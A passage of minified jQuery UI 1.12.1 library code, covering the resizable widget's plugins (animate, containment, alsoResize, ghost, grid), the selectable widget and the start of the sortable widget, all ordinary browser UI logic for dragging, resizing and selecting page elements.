            for (var e = 0, t = [], i = [A.css("borderTopWidth"), A.css("borderRightWidth"), A.css("borderBottomWidth"), A.css("borderLeftWidth")], r = [A.css("paddingTop"), A.css("paddingRight"), A.css("paddingBottom"), A.css("paddingLeft")]; 4 > e; e++) t[e] = parseFloat(i[e]) || 0, t[e] += parseFloat(r[e]) || 0;
            return {
                height: t[0] + t[2],
                width: t[1] + t[3]
            }
        },
        _proportionallyResize: function() {
            if (this._proportionallyResizeElements.length)
                for (var A, e = 0, t = this.helper || this.element; this._proportionallyResizeElements.length > e; e++) A = this._proportionallyResizeElements[e], this.outerDimensions || (this.outerDimensions = this._getPaddingPlusBorderDimensions(A)), A.css({
                    height: t.height() - this.outerDimensions.height || 0,
                    width: t.width() - this.outerDimensions.width || 0
                })
        },
        _renderProxy: function() {
            var e = this.element,
                t = this.options;
            this.elementOffset = e.offset(), this._helper ? (this.helper = this.helper || A("<div style='overflow:hidden;'></div>"), this._addClass(this.helper, this._helper), this.helper.css({
                width: this.element.outerWidth(),
                height: this.element.outerHeight(),
                position: "absolute",
                left: this.elementOffset.left + "px",
                top: this.elementOffset.top + "px",
                zIndex: ++t.zIndex
            }), this.helper.appendTo("body").disableSelection()) : this.helper = this.element
        },
        _change: {
            e: function(A, e) {
                return {
                    width: this.originalSize.width + e
                }
            },
            w: function(A, e) {
                var t = this.originalSize;
                return {
                    left: this.originalPosition.left + e,
                    width: t.width - e
                }
            },
            n: function(A, e, t) {
                var i = this.originalSize;
                return {
                    top: this.originalPosition.top + t,
                    height: i.height - t
                }
            },
            s: function(A, e, t) {
                return {
                    height: this.originalSize.height + t
                }
            },
            se: function(e, t, i) {
                return A.extend(this._change.s.apply(this, arguments), this._change.e.apply(this, [e, t, i]))
            },
            sw: function(e, t, i) {
                return A.extend(this._change.s.apply(this, arguments), this._change.w.apply(this, [e, t, i]))
            },
            ne: function(e, t, i) {
                return A.extend(this._change.n.apply(this, arguments), this._change.e.apply(this, [e, t, i]))
            },
            nw: function(e, t, i) {
                return A.extend(this._change.n.apply(this, arguments), this._change.w.apply(this, [e, t, i]))
            }
        },
        _propagate: function(e, t) {
            A.ui.plugin.call(this, e, [t, this.ui()]), "resize" !== e && this._trigger(e, t, this.ui())
        },
        plugins: {},
        ui: function() {
            return {
                originalElement: this.originalElement,
                element: this.element,
                helper: this.helper,
                position: this.position,
                size: this.size,
                originalSize: this.originalSize,
                originalPosition: this.originalPosition
            }
        }
    }), A.ui.plugin.add("resizable", "animate", {
        stop: function(e) {
            var t = A(this).resizable("instance"),
                i = t.options,
                r = t._proportionallyResizeElements,
                o = r.length && /textarea/i.test(r[0].nodeName),
                n = o && t._hasScroll(r[0], "left") ? 0 : t.sizeDiff.height,
                s = o ? 0 : t.sizeDiff.width,
                a = {
                    width: t.size.width - s,
                    height: t.size.height - n
                },
                I = parseFloat(t.element.css("left")) + (t.position.left - t.originalPosition.left) || null,
                l = parseFloat(t.element.css("top")) + (t.position.top - t.originalPosition.top) || null;
            t.element.animate(A.extend(a, l && I ? {
                top: l,
                left: I
            } : {}), {
                duration: i.animateDuration,
                easing: i.animateEasing,
                step: function() {
                    var i = {
                        width: parseFloat(t.element.css("width")),
                        height: parseFloat(t.element.css("height")),
                        top: parseFloat(t.element.css("top")),
                        left: parseFloat(t.element.css("left"))
                    };
                    r && r.length && A(r[0]).css({
                        width: i.width,
                        height: i.height
                    }), t._updateCache(i), t._propagate("resize", e)
                }
            })
        }
    }), A.ui.plugin.add("resizable", "containment", {
        start: function() {
            var e, t, i, r, o, n, s, a = A(this).resizable("instance"),
                I = a.options,
                l = a.element,
                c = I.containment,
                B = c instanceof A ? c.get(0) : /parent/.test(c) ? l.parent().get(0) : c;
            B && (a.containerElement = A(B), /document/.test(c) || c === document ? (a.containerOffset = {
                left: 0,
                top: 0
            }, a.containerPosition = {
                left: 0,
                top: 0
            }, a.parentData = {
                element: A(document),
                left: 0,
                top: 0,
                width: A(document).width(),
                height: A(document).height() || document.body.parentNode.scrollHeight
            }) : (e = A(B), t = [], A(["Top", "Right", "Left", "Bottom"]).each(function(A, i) {
                t[A] = a._num(e.css("padding" + i))
            }), a.containerOffset = e.offset(), a.containerPosition = e.position(), a.containerSize = {
                height: e.innerHeight() - t[3],
                width: e.innerWidth() - t[1]
            }, i = a.containerOffset, r = a.containerSize.height, o = a.containerSize.width, n = a._hasScroll(B, "left") ? B.scrollWidth : o, s = a._hasScroll(B) ? B.scrollHeight : r, a.parentData = {
                element: B,
                left: i.left,
                top: i.top,
                width: n,
                height: s
            }))
        },
        resize: function(e) {
            var t, i, r, o, n = A(this).resizable("instance"),
                s = n.options,
                a = n.containerOffset,
                I = n.position,
                l = n._aspectRatio || e.shiftKey,
                c = {
                    top: 0,
                    left: 0
                },
                B = n.containerElement,
                g = !0;
            B[0] !== document && /static/.test(B.css("position")) && (c = a), I.left < (n._helper ? a.left : 0) && (n.size.width = n.size.width + (n._helper ? n.position.left - a.left : n.position.left - c.left), l && (n.size.height = n.size.width / n.aspectRatio, g = !1), n.position.left = s.helper ? a.left : 0), I.top < (n._helper ? a.top : 0) && (n.size.height = n.size.height + (n._helper ? n.position.top - a.top : n.position.top), l && (n.size.width = n.size.height * n.aspectRatio, g = !1), n.position.top = n._helper ? a.top : 0), r = n.containerElement.get(0) === n.element.parent().get(0), o = /relative|absolute/.test(n.containerElement.css("position")), r && o ? (n.offset.left = n.parentData.left + n.position.left, n.offset.top = n.parentData.top + n.position.top) : (n.offset.left = n.element.offset().left, n.offset.top = n.element.offset().top), t = Math.abs(n.sizeDiff.width + (n._helper ? n.offset.left - c.left : n.offset.left - a.left)), i = Math.abs(n.sizeDiff.height + (n._helper ? n.offset.top - c.top : n.offset.top - a.top)), t + n.size.width >= n.parentData.width && (n.size.width = n.parentData.width - t, l && (n.size.height = n.size.width / n.aspectRatio, g = !1)), i + n.size.height >= n.parentData.height && (n.size.height = n.parentData.height - i, l && (n.size.width = n.size.height * n.aspectRatio, g = !1)), g || (n.position.left = n.prevPosition.left, n.position.top = n.prevPosition.top, n.size.width = n.prevSize.width, n.size.height = n.prevSize.height)
        },
        stop: function() {
            var e = A(this).resizable("instance"),
                t = e.options,
                i = e.containerOffset,
                r = e.containerPosition,
                o = e.containerElement,
                n = A(e.helper),
                s = n.offset(),
                a = n.outerWidth() - e.sizeDiff.width,
                I = n.outerHeight() - e.sizeDiff.height;
            e._helper && !t.animate && /relative/.test(o.css("position")) && A(this).css({
                left: s.left - r.left - i.left,
                width: a,
                height: I
            }), e._helper && !t.animate && /static/.test(o.css("position")) && A(this).css({
                left: s.left - r.left - i.left,
                width: a,
                height: I
            })
        }
    }), A.ui.plugin.add("resizable", "alsoResize", {
        start: function() {
            var e = A(this).resizable("instance"),
                t = e.options;
            A(t.alsoResize).each(function() {
                var e = A(this);
                e.data("ui-resizable-alsoresize", {
                    width: parseFloat(e.width()),
                    height: parseFloat(e.height()),
                    left: parseFloat(e.css("left")),
                    top: parseFloat(e.css("top"))
                })
            })
        },
        resize: function(e, t) {
            var i = A(this).resizable("instance"),
                r = i.options,
                o = i.originalSize,
                n = i.originalPosition,
                s = {
                    height: i.size.height - o.height || 0,
                    width: i.size.width - o.width || 0,
                    top: i.position.top - n.top || 0,
                    left: i.position.left - n.left || 0
                };
            A(r.alsoResize).each(function() {
                var e = A(this),
                    i = A(this).data("ui-resizable-alsoresize"),
                    r = {},
                    o = e.parents(t.originalElement[0]).length ? ["width", "height"] : ["width", "height", "top", "left"];
                A.each(o, function(A, e) {
                    var t = (i[e] || 0) + (s[e] || 0);
                    t && t >= 0 && (r[e] = t || null)
                }), e.css(r)
            })
        },
        stop: function() {
            A(this).removeData("ui-resizable-alsoresize")
        }
    }), A.ui.plugin.add("resizable", "ghost", {
        start: function() {
            var e = A(this).resizable("instance"),
                t = e.size;
            e.ghost = e.originalElement.clone(), e.ghost.css({
                opacity: .25,
                display: "block",
                position: "relative",
                height: t.height,
                width: t.width,
                margin: 0,
                left: 0,
                top: 0
            }), e._addClass(e.ghost, "ui-resizable-ghost"), !1 !== A.uiBackCompat && "string" == typeof e.options.ghost && e.ghost.addClass(this.options.ghost), e.ghost.appendTo(e.helper)
        },
        resize: function() {
            var e = A(this).resizable("instance");
            e.ghost && e.ghost.css({
                position: "relative",
                height: e.size.height,
                width: e.size.width
            })
        },
        stop: function() {
            var e = A(this).resizable("instance");
            e.ghost && e.helper && e.helper.get(0).removeChild(e.ghost.get(0))
        }
    }), A.ui.plugin.add("resizable", "grid", {
        resize: function() {
            var e, t = A(this).resizable("instance"),
                i = t.options,
                r = t.size,
                o = t.originalSize,
                n = t.originalPosition,
                s = t.axis,
                a = "number" == typeof i.grid ? [i.grid, i.grid] : i.grid,
                I = a[0] || 1,
                l = a[1] || 1,
                c = Math.round((r.width - o.width) / I) * I,
                B = Math.round((r.height - o.height) / l) * l,
                g = o.width + c,
                h = o.height + B,
                E = i.maxWidth && g > i.maxWidth,
                u = i.maxHeight && h > i.maxHeight,
                Q = i.minWidth && i.minWidth > g,
                d = i.minHeight && i.minHeight > h;
            i.grid = a, Q && (g += I), d && (h += l), E && (g -= I), u && (h -= l), /^(se|s|e)$/.test(s) ? (t.size.width = g, t.size.height = h) : /^(ne)$/.test(s) ? (t.size.width = g, t.size.height = h, t.position.top = n.top - B) : /^(sw)$/.test(s) ? (t.size.width = g, t.size.height = h, t.position.left = n.left - c) : ((0 >= h - l || 0 >= g - I) && (e = t._getPaddingPlusBorderDimensions(this)), h - l > 0 ? (t.size.height = h, t.position.top = n.top - B) : (h = l - e.height, t.size.height = h, t.position.top = n.top + o.height - h), g - I > 0 ? (t.size.width = g, t.position.left = n.left - c) : (g = I - e.width, t.size.width = g, t.position.left = n.left + o.width - g))
        }
    }), A.ui.resizable, A.widget("ui.selectable", A.ui.mouse, {
        version: "1.12.1",
        options: {
            appendTo: "body",
            autoRefresh: !0,
            distance: 0,
            filter: "*",
            tolerance: "touch",
            selected: null,
            selecting: null,
            start: null,
            stop: null,
            unselected: null,
            unselecting: null
        },
        _create: function() {
            var e = this;
            this._addClass("ui-selectable"), this.dragged = !1, this.refresh = function() {
                e.elementPos = A(e.element[0]).offset(), e.selectees = A(e.options.filter, e.element[0]), e._addClass(e.selectees, "ui-selectee"), e.selectees.each(function() {
                    var t = A(this),
                        i = t.offset(),
                        r = {
                            left: i.left - e.elementPos.left,
                            top: i.top - e.elementPos.top
                        };
                    A.data(this, "selectable-item", {
                        element: this,
                        $element: t,
                        left: r.left,
                        top: r.top,
                        right: r.left + t.outerWidth(),
                        bottom: r.top + t.outerHeight(),
                        startselected: !1,
                        selected: t.hasClass("ui-selected"),
                        selecting: t.hasClass("ui-selecting"),
                        unselecting: t.hasClass("ui-unselecting")
                    })
                })
            }, this.refresh(), this._mouseInit(), this.helper = A("<div>"), this._addClass(this.helper, "ui-selectable-helper")
        },
        _destroy: function() {
            this.selectees.removeData("selectable-item"), this._mouseDestroy()
        },
        _mouseStart: function(e) {
            var t = this,
                i = this.options;
            this.opos = [e.pageX, e.pageY], this.elementPos = A(this.element[0]).offset(), this.options.disabled || (this.selectees = A(i.filter, this.element[0]), this._trigger("start", e), A(i.appendTo).append(this.helper), this.helper.css({
                left: e.pageX,
                top: e.pageY,
                width: 0,
                height: 0
            }), i.autoRefresh && this.refresh(), this.selectees.filter(".ui-selected").each(function() {
                var i = A.data(this, "selectable-item");
                i.startselected = !0, e.metaKey || e.ctrlKey || (t._removeClass(i.$element, "ui-selected"), i.selected = !1, t._addClass(i.$element, "ui-unselecting"), i.unselecting = !0, t._trigger("unselecting", e, {
                    unselecting: i.element
                }))
            }), A(e.target).parents().addBack().each(function() {
                var i, r = A.data(this, "selectable-item");
                return r ? (i = !e.metaKey && !e.ctrlKey || !r.$element.hasClass("ui-selected"), t._removeClass(r.$element, i ? "ui-unselecting" : "ui-selected")._addClass(r.$element, i ? "ui-selecting" : "ui-unselecting"), r.unselecting = !i, r.selecting = i, r.selected = i, i ? t._trigger("selecting", e, {
                    selecting: r.element
                }) : t._trigger("unselecting", e, {
                    unselecting: r.element
                }), !1) : void 0
            }))
        },
        _mouseDrag: function(e) {
            if (this.dragged = !0, !this.options.disabled) {
                var t, i = this,
                    r = this.options,
                    o = this.opos[0],
                    n = this.opos[1],
                    s = e.pageX,
                    a = e.pageY;
                return o > s && (t = s, s = o, o = t), n > a && (t = a, a = n, n = t), this.helper.css({
                    left: o,
                    top: n,
                    width: s - o,
                    height: a - n
                }), this.selectees.each(function() {
                    var t = A.data(this, "selectable-item"),
                        I = !1,
                        l = {};
                    t && t.element !== i.element[0] && (l.left = t.left + i.elementPos.left, l.right = t.right + i.elementPos.left, l.top = t.top + i.elementPos.top, l.bottom = t.bottom + i.elementPos.top, "touch" === r.tolerance ? I = !(l.left > s || o > l.right || l.top > a || n > l.bottom) : "fit" === r.tolerance && (I = l.left > o && s > l.right && l.top > n && a > l.bottom), I ? (t.selected && (i._removeClass(t.$element, "ui-selected"), t.selected = !1), t.unselecting && (i._removeClass(t.$element, "ui-unselecting"), t.unselecting = !1), t.selecting || (i._addClass(t.$element, "ui-selecting"), t.selecting = !0, i._trigger("selecting", e, {
                        selecting: t.element
                    }))) : (t.selecting && ((e.metaKey || e.ctrlKey) && t.startselected ? (i._removeClass(t.$element, "ui-selecting"), t.selecting = !1, i._addClass(t.$element, "ui-selected"), t.selected = !0) : (i._removeClass(t.$element, "ui-selecting"), t.selecting = !1, t.startselected && (i._addClass(t.$element, "ui-unselecting"), t.unselecting = !0), i._trigger("unselecting", e, {
                        unselecting: t.element
                    }))), t.selected && (e.metaKey || e.ctrlKey || t.startselected || (i._removeClass(t.$element, "ui-selected"), t.selected = !1, i._addClass(t.$element, "ui-unselecting"), t.unselecting = !0, i._trigger("unselecting", e, {
                        unselecting: t.element
                    })))))
                }), !1
            }
        },
        _mouseStop: function(e) {
            var t = this;
            return this.dragged = !1, A(".ui-unselecting", this.element[0]).each(function() {
                var i = A.data(this, "selectable-item");
                t._removeClass(i.$element, "ui-unselecting"), i.unselecting = !1, i.startselected = !1, t._trigger("unselected", e, {
                    unselected: i.element
                })
            }), A(".ui-selecting", this.element[0]).each(function() {
                var i = A.data(this, "selectable-item");
                t._removeClass(i.$element, "ui-selecting")._addClass(i.$element, "ui-selected"), i.selecting = !1, i.selected = !0, i.startselected = !0, t._trigger("selected", e, {
                    selected: i.element
                })
            }), this._trigger("stop", e), this.helper.remove(), !1
        }
    }), A.widget("ui.sortable", A.ui.mouse, {
        version: "1.12.1",
        widgetEventPrefix: "sort",
        ready: !1,
        options: {
            appendTo: "parent",
            axis: !1,
            connectWith: !1,
            containment: !1,
            cursor: "auto",
            cursorAt: !1,
            dropOnEmpty: !0,
            forcePlaceholderSize: !1,
            forceHelperSize: !1,
            grid: !1,
            handle: !1,
            helper: "original",
            items: "> *",
            opacity: !1,
            placeholder: !1,
            revert: !1,
            scroll: !0,
            scrollSensitivity: 20,
            scrollSpeed: 20,
            scope: "default",
            tolerance: "intersect",
            zIndex: 1e3,
            activate: null,
            beforeStop: null,
            change: null,
            deactivate: null,
            out: null,
            over: null,
            receive: null,
            remove: null,
            sort: null,
            start: null,
            stop: null,
            update: null
        },
        _isOverAxis: function(A, e, t) {
            return A >= e && e + t > A
        },
        _isFloating: function(A) {
            return /left|right/.test(A.css("float")) || /inline|table-cell/.test(A.css("display"))
        },
        _create: function() {
            this.containerCache = {}, this._addClass("ui-sortable"), this.refresh(), this.offset = this.element.offset(), this._mouseInit(), this._setHandleClassName(), this.ready = !0
        },
        _setOption: function(A, e) {
            this._super(A, e), "handle" === A && this._setHandleClassName()
        },
        _setHandleClassName: function() {
            var e = this;
            this._removeClass(this.element.find(".ui-sortable-handle"), "ui-sortable-handle"), A.each(this.items, function() {
                e._addClass(this.instance.options.handle ? this.item.find(this.instance.options.handle) : this.item, "ui-sortable-handle")
            })
        },
        _destroy: function() {
            this._mouseDestroy();
            for (var A = this.items.length - 1; A >= 0; A--) this.items[A].item.removeData(this.widgetName + "-item");
            return this
        },
        _mouseCapture: function(e, t) {
            var i = null,
                r = !1,
                o = this;
            return !this.reverting && (!this.options.disabled && "static" !== this.options.type && (this._refreshItems(e), A(e.target).parents().each(function() {
                return A.data(this, o.widgetName + "-item") === o ? (i = A(this), !1) : void 0
            }), A.data(e.target, o.widgetName + "-item") === o && (i = A(e.target)), !!i && (!(this.options.handle && !t && (A(this.options.handle, i).find("*").addBack().each(function() {
                this === e.target && (r = !0)
            }), !r)) && (this.currentItem = i, this._removeCurrentsFromItems(), !0))))
        },
        _mouseStart: function(e, t, i) {
            var r, o, n = this.options;
            if (this.currentContainer = this, this.refreshPositions(), this.helper = this._createHelper(e), this._cacheHelperProportions(), this._cacheMargins(), this.scrollParent = this.helper.scrollParent(), this.offset = this.currentItem.offset(), this.offset = {
                    top: this.offset.top - this.margins.top,
                    left: this.offset.left - this.margins.left
                }, A.extend(this.offset, {
                    click: {
                        left: e.pageX - this.offset.left,
                        top: e.pageY - this.offset.top
                    },
                    parent: this._getParentOffset(),
                    relative: this._getRelativeOffset()
                }), this.helper.css("position", "absolute"), this.cssPosition = this.helper.css("position"), this.originalPosition = this._generatePosition(e), this.originalPageX = e.pageX, this.originalPageY = e.pageY, n.cursorAt && this._adjustOffsetFromHelper(n.cursorAt), this.domPosition = {
                    prev: this.currentItem.prev()[0],
                    parent: this.currentItem.parent()[0]
                }, this.helper[0] !== this.currentItem[0] && this.currentItem.hide(), this._createPlaceholder(), n.containment && this._setContainment(), n.cursor && "auto" !== n.cursor && (o = this.document.find("body"), this.storedCursor = o.css("cursor"), o.css("cursor", n.cursor), this.storedStylesheet = A("<style>*{ cursor: " + n.cursor + " !important; }</style>").appendTo(o)),
                n.opacity && (this.helper.css("opacity") && (this._storedOpacity = this.helper.css("opacity")), this.helper.css("opacity", n.opacity)), n.zIndex && (this.helper.css("zIndex") && (this._storedZIndex = this.helper.css("zIndex")), this.helper.css("zIndex", n.zIndex)), this.scrollParent[0] !== this.document[0] && "HTML" !== this.scrollParent[0].tagName && (this.overflowOffset = this.scrollParent.offset()), this._trigger("start", e, this._uiHash()), this._preserveHelperProportions || this._cacheHelperProportions(), !i)
                for (r = this.containers.length - 1; r >= 0; r--) this.containers[r]._trigger("activate", e, this._uiHash(this));
            return A.ui.ddmanager && (A.ui.ddmanager.current = this), A.ui.ddmanager && !n.dropBehaviour && A.ui.ddmanager.prepareOffsets(this, e), this.dragging = !0, this._addClass(this.helper, "ui-sortable-helper"), this._mouseDrag(e), !0
        },
        _mouseDrag: function(e) {
            var t, i, r, o, n = this.options,
                s = !1;
            for (this.position = this._generatePosition(e), this.positionAbs = this._convertPositionTo("absolute"), this.lastPositionAbs || (this.lastPositionAbs = this.positionAbs), this.options.scroll && (this.scrollParent[0] !== this.document[0] && "HTML" !== this.scrollParent[0].tagName ? (this.overflowOffset.top + this.scrollParent[0].offsetHeight - e.pageY < n.scrollSensitivity ? this.scrollParent[0].scrollTop = s = this.scrollParent[0].scrollTop + n.scrollSpeed : e.pageY - this.overflowOffset.top < n.scrollSensitivity && (this.scrollParent[0].scrollTop = s = this.scrollParent[0].scrollTop - n.scrollSpeed), this.overflowOffset.left + this.scrollParent[0].offsetWidth - e.pageX < n.scrollSensitivity ? this.scrollParent[0].scrollLeft = s = this.scrollParent[0].scrollLeft + n.scrollSpeed : e.pageX - this.overflowOffset.left < n.scrollSensitivity && (this.scrollParent[0].scrollLeft = s = this.scrollParent[0].scrollLeft - n.scrollSpeed)) : (e.pageY - this.document.scrollTop() < n.scrollSensitivity ? s = this.document.scrollTop(this.document.scrollTop() - n.scrollSpeed) : this.window.height() - (e.pageY - this.document.scrollTop()) < n.scrollSensitivity && (s = this.document.scrollTop(this.document.scrollTop() + n.scrollSpeed)), e.pageX - this.document.scrollLeft() < n.scrollSensitivity ? s = this.document.scrollLeft(this.document.scrollLeft() - n.scrollSpeed) : this.window.width() - (e.pageX - this.document.scrollLeft()) < n.scrollSensitivity && (s = this.document.scrollLeft(this.document.scrollLeft() + n.scrollSpeed))), !1 !== s && A.ui.ddmanager && !n.dropBehaviour && A.ui.ddmanager.prepareOffsets(this, e)), this.positionAbs = this._convertPositionTo("absolute"), this.options.axis && "y" === this.options.axis || (this.helper[0].style.left = this.position.left + "px"), this.options.axis && "x" === this.options.axis || (this.helper[0].style.top = this.position.top + "px"), t = this.items.length - 1; t >= 0; t--)
                if (i = this.items[t], r = i.item[0], (o = this._intersectsWithPointer(i)) && i.instance === this.currentContainer && r !== this.currentItem[0] && this.placeholder[1 === o ? "next" : "prev"]()[0] !== r && !A.contains(this.placeholder[0], r) && ("semi-dynamic" !== this.options.type || !A.contains(this.element[0], r))) {
                    if (this.direction = 1 === o ? "down" : "up", "pointer" !== this.options.tolerance && !this._intersectsWithSides(i)) break;
                    this._rearrange(e, i), this._trigger("change", e, this._uiHash());
                    break
                }
            return this._contactContainers(e), A.ui.ddmanager && A.ui.ddmanager.drag(this, e), this._trigger("sort", e, this._uiHash()), this.lastPositionAbs = this.positionAbs, !1
        },
        _mouseStop: function(e, t) {
            if (e) {
                if (A.ui.ddmanager && !this.options.dropBehaviour && A.ui.ddmanager.drop(this, e), this.options.revert) {
                    var i = this,
                        r = this.placeholder.offset(),
                        o = this.options.axis,
                        n = {};
                    o && "x" !== o || (n.left = r.left - this.offset.parent.left - this.margins.left + (this.offsetParent[0] === this.document[0].body ? 0 : this.offsetParent[0].scrollLeft)), o && "y" !== o || (n.top = r.top - this.offset.parent.top - this.margins.top + (this.offsetParent[0] === this.document[0].body ? 0 : this.offsetParent[0].scrollTop)), this.reverting = !0, A(this.helper).animate(n, parseInt(this.options.revert, 10) || 500, function() {
                        i._clear(e)
                    })
                } else this._clear(e, t);
                return !1
            }
        },
        cancel: function() {
            if (this.dragging) {
                this._mouseUp(new A.Event("mouseup", {
                    target: null
                })), "original" === this.options.helper ? (this.currentItem.css(this._storedCSS), this._removeClass(this.currentItem, "ui-sortable-helper")) : this.currentItem.show();
                for (var e = this.containers.length - 1; e >= 0; e--) this.containers[e]._trigger("deactivate", null, this._uiHash(this)), this.containers[e].containerCache.over && (this.containers[e]._trigger("out", null, this._uiHash(this)), this.containers[e].containerCache.over = 0)
            }
            return this.placeholder && (this.placeholder[0].parentNode && this.placeholder[0].parentNode.removeChild(this.placeholder[0]), "original" !== this.options.helper && this.helper && this.helper[0].parentNode && this.helper.remove(), A.extend(this, {
                helper: null,
                dragging: !1,
                reverting: !1,
                _noFinalSort: null
            }), this.domPosition.prev ? A(this.domPosition.prev).after(this.currentItem) : A(this.domPosition.parent).prepend(this.currentItem)), this
        },
        serialize: function(e) {
            var t = this._getItemsAsjQuery(e && e.connected),
                i = [];
            return e = e || {}, A(t).each(function() {
                var t = (A(e.item || this).attr(e.attribute || "id") || "").match(e.expression || /(.+)[\-=_](.+)/);
                t && i.push((e.key || t[1] + "[]") + "=" + (e.key && e.expression ? t[1] : t[2]))
            }), !i.length && e.key && i.push(e.key + "="), i.join("&")
        },
        toArray: function(e) {
            var t = this._getItemsAsjQuery(e && e.connected),
                i = [];
            return e = e || {}, t.each(function() {
                i.push(A(e.item || this).attr(e.attribute || "id") || "")
            }), i
        },
        _intersectsWith: function(A) {
            var e = this.positionAbs.left,
                t = e + this.helperProportions.width,
                i = this.positionAbs.top,
                r = i + this.helperProportions.height,
                o = A.left,
                n = o + A.width,
                s = A.top,
                a = s + A.height,
                I = this.offset.click.top,
                l = this.offset.click.left,
                c = "x" === this.options.axis || i + I > s && a > i + I,
                B = "y" === this.options.axis || e + l > o && n > e + l,
                g = c && B;
            return "pointer" === this.options.tolerance || this.options.forcePointerForContainers || "pointer" !== this.options.tolerance && this.helperProportions[this.floating ? "width" : "height"] > A[this.floating ? "width" : "height"] ? g : e + this.helperProportions.width / 2 > o && n > t - this.helperProportions.width / 2 && i + this.helperProportions.height / 2 > s && a > r - this.helperProportions.height / 2
        },
        _intersectsWithPointer: function(A) {
            var e, t, i = "x" === this.options.axis || this._isOverAxis(this.positionAbs.top + this.offset.click.top, A.top, A.height),
                r = "y" === this.options.axis || this._isOverAxis(this.positionAbs.left + this.offset.click.left, A.left, A.width);
            return !(!i || !r) && (e = this._getDragVerticalDirection(), t = this._getDragHorizontalDirection(), this.floating ? "right" === t || "down" === e ? 2 : 1 : e && ("down" === e ? 2 : 1))
        },
        _intersectsWithSides: function(A) {
            var e = this._isOverAxis(this.positionAbs.top + this.offset.click.top, A.top + A.height / 2, A.height),
                t = this._isOverAxis(this.positionAbs.left + this.offset.click.left, A.left + A.width / 2, A.width),
                i = this._getDragVerticalDirection(),
                r = this._getDragHorizontalDirection();
            return this.floating && r ? "right" === r && t || "left" === r && !t : i && ("down" === i && e || "up" === i && !e)
        },
        _getDragVerticalDirection: function() {
            var A = this.positionAbs.top - this.lastPositionAbs.top;
            return 0 !== A && (A > 0 ? "down" : "up")
        },
        _getDragHorizontalDirection: function() {
            var A = this.positionAbs.left - this.lastPositionAbs.left;
            return 0 !== A && (A > 0 ? "right" : "left")
        },
        refresh: function(A) {
            return this._refreshItems(A), this._setHandleClassName(), this.refreshPositions(), this
        },
        _connectWith: function() {
            var A = this.options;
            return A.connectWith.constructor === String ? [A.connectWith] : A.connectWith
        },
        _getItemsAsjQuery: function(e) {
            function t() {
                s.push(this)
            }
            var i, r, o, n, s = [],
                a = [],
                I = this._connectWith();
            if (I && e)
                for (i = I.length - 1; i >= 0; i--)
                    for (o = A(I[i], this.document[0]), r = o.length - 1; r >= 0; r--)(n = A.data(o[r], this.widgetFullName)) && n !== this && !n.options.disabled && a.push([A.isFunction(n.options.items) ? n.options.items.call(n.element) : A(n.options.items, n.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), n]);
            for (a.push([A.isFunction(this.options.items) ? this.options.items.call(this.element, null, {
                    options: this.options,
                    item: this.currentItem
                }) : A(this.options.items, this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), this]), i = a.length - 1; i >= 0; i--) a[i][0].each(t);
            return A(s)
        },
        _removeCurrentsFromItems: function() {
            var e = this.currentItem.find(":data(" + this.widgetName + "-item)");
            this.items = A.grep(this.items, function(A) {
                for (var t = 0; e.length > t; t++)
                    if (e[t] === A.item[0]) return !1;
                return !0
            })
        },
        _refreshItems: function(e) {
            this.items = [], this.containers = [this];
            var t, i, r, o, n, s, a, I, l = this.items,
                c = [
                    [A.isFunction(this.options.items) ? this.options.items.call(this.element[0], e, {
                        item: this.currentItem
                    }) : A(this.options.items, this.element), this]
                ],
                B = this._connectWith();
            if (B && this.ready)
                for (t = B.length - 1; t >= 0; t--)
                    for (r = A(B[t], this.document[0]), i = r.length - 1; i >= 0; i--)(o = A.data(r[i], this.widgetFullName)) && o !== this && !o.options.disabled && (c.push([A.isFunction(o.options.items) ? o.options.items.call(o.element[0], e, {
                        item: this.currentItem
                    }) : A(o.options.items, o.element), o]), this.containers.push(o));
            for (t = c.length - 1; t >= 0; t--)
                for (n = c[t][1], s = c[t][0], i = 0, I = s.length; I > i; i++) a = A(s[i]), a.data(this.widgetName + "-item", n), l.push({
                    item: a,
                    instance: n,
                    width: 0,
                    height: 0,
                    left: 0,
                    top: 0
                })
        },
        refreshPositions: function(e) {
            this.floating = !!this.items.length && ("x" === this.options.axis || this._isFloating(this.items[0].item)), this.offsetParent && this.helper && (this.offset.parent = this._getParentOffset());
            var t, i, r, o;
            for (t = this.items.length - 1; t >= 0; t--) i = this.items[t], i.instance !== this.currentContainer && this.currentContainer && i.item[0] !== this.currentItem[0] || (r = this.options.toleranceElement ? A(this.options.toleranceElement, i.item) : i.item, e || (i.width = r.outerWidth(), i.height = r.outerHeight()), o = r.offset(), i.left = o.left, i.top = o.top);
            if (this.options.custom && this.options.custom.refreshContainers) this.options.custom.refreshContainers.call(this);
            else
                for (t = this.containers.length - 1; t >= 0; t--) o = this.containers[t].element.offset(), this.containers[t].containerCache.left = o.left, this.containers[t].containerCache.top = o.top, this.containers[t].containerCache.width = this.containers[t].element.outerWidth(), this.containers[t].containerCache.height = this.containers[t].element.outerHeight();
            return this
        },
        _createPlaceholder: function(e) {
            e = e || this;
            var t, i = e.options;
            i.placeholder && i.placeholder.constructor !== String || (t = i.placeholder, i.placeholder = {
                element: function() {
                    var i = e.currentItem[0].nodeName.toLowerCase(),
                        r = A("<" + i + ">", e.document[0]);
                    return e._addClass(r, "ui-sortable-placeholder", t || e.currentItem[0].className)._removeClass(r, "ui-sortable-helper"), "tbody" === i ? e._createTrPlaceholder(e.currentItem.find("tr").eq(0), A("<tr>", e.document[0]).appendTo(r)) : "tr" === i ? e._createTrPlaceholder(e.currentItem, r) : "img" === i && r.attr("src", e.currentItem.attr("src")), t || r.css("visibility", "hidden"), r
                },
                update: function(A, r) {
                    (!t || i.forcePlaceholderSize) && (r.height() || r.height(e.currentItem.innerHeight() - parseInt(e.currentItem.css("paddingTop") || 0, 10) - parseInt(e.currentItem.css("paddingBottom") || 0, 10)), r.width() || r.width(e.currentItem.innerWidth() - parseInt(e.currentItem.css("paddingLeft") || 0, 10) - parseInt(e.currentItem.css("paddingRight") || 0, 10)))
                }
            }), e.placeholder = A(i.placeholder.element.call(e.element, e.currentItem)), e.currentItem.after(e.placeholder), i.placeholder.update(e, e.placeholder)
        },
        _createTrPlaceholder: function(e, t) {
            var i = this;
            e.children().each(function() {
                A("<td>&#160;</td>", i.document[0]).attr("colspan", A(this).attr("colspan") || 1).appendTo(t)
            })
        },
        _contactContainers: function(e) {
            var t, i, r, o, n, s, a, I, l, c, B = null,
                g = null;
            for (t = this.containers.length - 1; t >= 0; t--)
                if (!A.contains(this.currentItem[0], this.containers[t].element[0]))
                    if (this._intersectsWith(this.containers[t].containerCache)) {
